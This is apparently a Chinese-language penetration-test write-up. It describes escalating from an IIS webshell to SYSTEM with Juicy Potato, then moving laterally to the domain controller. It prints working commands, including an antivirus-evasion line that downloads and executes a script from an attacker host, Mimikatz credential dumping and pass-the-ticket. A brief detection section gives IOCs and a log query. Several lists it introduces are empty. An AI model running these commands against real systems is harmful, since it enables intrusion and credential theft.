去年的一次企业内网渗透测试中,我遇到一个典型的提权场景:通过Web应用漏洞获取了IIS服务账户权限后,如何突破权限边界获取系统最高控制权。这次实战让我深刻体会到Windows特权提升中那些"美味多汁"的技术细节,以及蓝队视角下的防御盲点。
那是一个运行在Windows Server 2016上的企业门户网站,通过SQL注入获取了数据库连接字符串后,我们成功上传了Webshell。此时的权限是:
bash复制whoami
iis apppool\corpportal
检查当前账户权限时发现了关键突破口:
powershell复制whoami /priv
PRIVILEGES INFORMATION
----------------------
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
这个SeImpersonatePrivilege正是我们需要的跳板。在Windows系统中,以下服务账户通常具备该权限:
| 服务类型 | 账户示例 | 默认权限级别 |
|---|---|---|
| IIS应用池 | IIS APPPOOL* | 中等 |
| SQL Server服务 | NT SERVICE\MSSQLSERVER | 高 |
| Windows服务 | NT AUTHORITY\NETWORK | 低 |
提示:实际测试中发现,即使具备SeImpersonatePrivilege,某些环境下仍需要SeAssignPrimaryToken权限才能完成完整提权流程。
面对各种"土豆"变种,我们需要根据环境选择最佳武器。以下是主流工具的对比:
我们最终选择Juicy Potato v0.1,因为目标系统存在以下特征:
关键参数配置:
bash复制JuicyPotato.exe -t t -p C:\Windows\System32\cmd.exe -l 1337 -c {6d18ad12-bde3-4393-b311-099c346e6df9}
实际执行时遇到了几个障碍及解决方案:
问题1:防火墙拦截COM通信
powershell复制netsh advfirewall firewall add rule name="COM_1337" dir=in protocol=TCP localport=1337 action=allow
问题2:CLSID不可用
powershell复制Import-Module .\Get-Clsid.ps1
Get-AvailableClsid -OSVersion "Windows 10"
问题3:杀软检测
bash复制powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/JuicyPotatoLoader.ps1')"
成功后的权限验证:
cmd复制whoami /groups | find "S-1-5-32-544"
NT AUTHORITY\SYSTEM (S-1-5-18)
BUILTIN\Administrators (S-1-5-32-544)
从防御方看,这类攻击会在系统中留下明显痕迹:
检测指标(IOC):
svchost.exe启动非常规子进程日志分析要点:
sql复制-- 查询安全日志中的可疑事件
SELECT * FROM Security
WHERE EventID IN (4688, 4697)
AND NewProcessName LIKE '%cmd.exe'
AND ParentProcessName LIKE '%juicy%'
防御建议:
获取SYSTEM权限后,我们继续向内网横向移动:
转储凭据:
mimikatz复制sekurlsa::logonpasswords
发现域管会话:
powershell复制netsess.exe -h 192.168.1.100
票据传递攻击:
bash复制Invoke-Mimikatz -Command '"kerberos::ptt Administrator.kirbi"'
最终通过PSExec获取了域控权限,整个过程耗时不到4小时。这次实战让我意识到,一个看似简单的本地提权漏洞,可能成为整个内网沦陷的起点。